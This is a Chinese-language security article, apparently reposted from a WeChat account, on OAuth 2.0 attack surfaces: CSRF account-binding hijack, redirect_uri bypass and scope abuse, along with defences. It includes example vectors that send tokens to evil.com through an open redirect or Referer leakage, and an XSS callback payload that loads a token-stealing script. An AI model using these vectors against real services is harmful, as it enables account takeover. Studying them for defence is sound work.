OAuth 2.0 攻击面与案例

admin 2022年4月30日20:21:07评论105 views字数 2131阅读7分6秒阅读模式

如文中链接无法打开或出现排版错误,请点击查看原文


OAuth流程



本文以两种广泛使用的方案为标准展开.
如对流程不了解,请先移步学习: 理解OAuth 2.0


Authorization Code

  • response_type = code

  • redirect_uri

  • scope

  • client_id

  • state


Implicit

  • response_type = token

  • redirect_uri

  • scope

  • client_id

  • state



攻击面



  • CSRF导致绑定劫持

  • redirect_uri绕过导致授权劫持

  • scope越权访问


绑定劫持



攻击者抓取认证请求构造恶意url,并诱骗已经登录的网用户点击(比如通过邮件或者QQ等方式).认证成功后用户的帐号会同攻击者的帐号绑定到一起。


OAuth 2.0提供了state参数用于防御CSRF.认证服务器在接收到的state参数按原样返回给redirect_uri,客户端收到该参数并验证与之前生成的值是否一致.除此方法外也可使用传统的CSRF防御方案.


案例: 人人网-百度OAuth 2.0 redirect_uir CSRF 漏洞



授权劫持



根据OAuth的认证流程,用户授权凭证会由服务器转发到redirect_uri对应的地址,如果攻击者伪造redirect_uri为自己的地址,然后诱导用户发送该请求,之后获取的凭证就会发送给攻击者伪造的回调地址.攻击者使用该凭证即可登录用户账号,造成授权劫持.


正常情况下,为了防止该情况出现,认证服务器会验证自己的client_id与回调地址是否对应.常见的方法是验证回调地址的主域,涉及到的突破方式与CSRF如出一辙:


未验证


验证绕过


子域可控


跨域

  • 利用可信域的url跳转从referer偷取token如果网站存在一个任意url跳转漏洞,可利用该漏洞构造以下向量

    redirect_uri=http://auth.app.com/redirect.php?url=http://evil.com

    认证服务器将凭证通过GET方法发送到redirect.php,这时redirect.php执行跳转,访问http://evil.com,攻击者为evil.com记录日志,并从请求头中的referer字段提取出该凭证,即可通过该凭证进行授权登录.


  • 利用跨域请求从referer偷取token在我们不能绕过redirect_uri的判断规则时,我们可以使利用跨域请求从referer中偷取token.


    例1 redirect_uri限制为app.com,然而app.com/article/1.html中允许用户发表文章,在文章中嵌入来自evil.com的外部图片.这时我们可以让redirect_uri指向该文章app.com/article/1.html,当该文章被访问时,会自动获取 evil.com/test.jpg ,这时攻击者即可从请求头的referer拿到token


    例2 利用XSS实现跨域

    redirect_uri = http://app.com/ajax/cat.html?callback=<script src="
    http://evil.com?getToken.php"
    ></script>



越权访问



这个案例展示了scope权限控制不当带来的安全风险,同时将授权劫持的几个方面演绎的淋漓尽致.


案例: 从“黑掉Github”学Web安全开发



辅助验证脚本



一个简易服务器,会记录来访者的请求头.
1. python picserver.py [可选端口号]
2. 打开浏览器访问图片或页面地址
3. 查看日志
4. 清除日志


OAuth 2.0 攻击面与案例


效果:


OAuth 2.0 攻击面与案例


OAuth 2.0 攻击面与案例


参考




原文始发于微信公众号(乐枕迭代日志):OAuth 2.0 攻击面与案例

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月30日20:21:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   OAuth 2.0 攻击面与案例https://cn-sec.com/archives/943642.html

发表评论

匿名网友 填写信息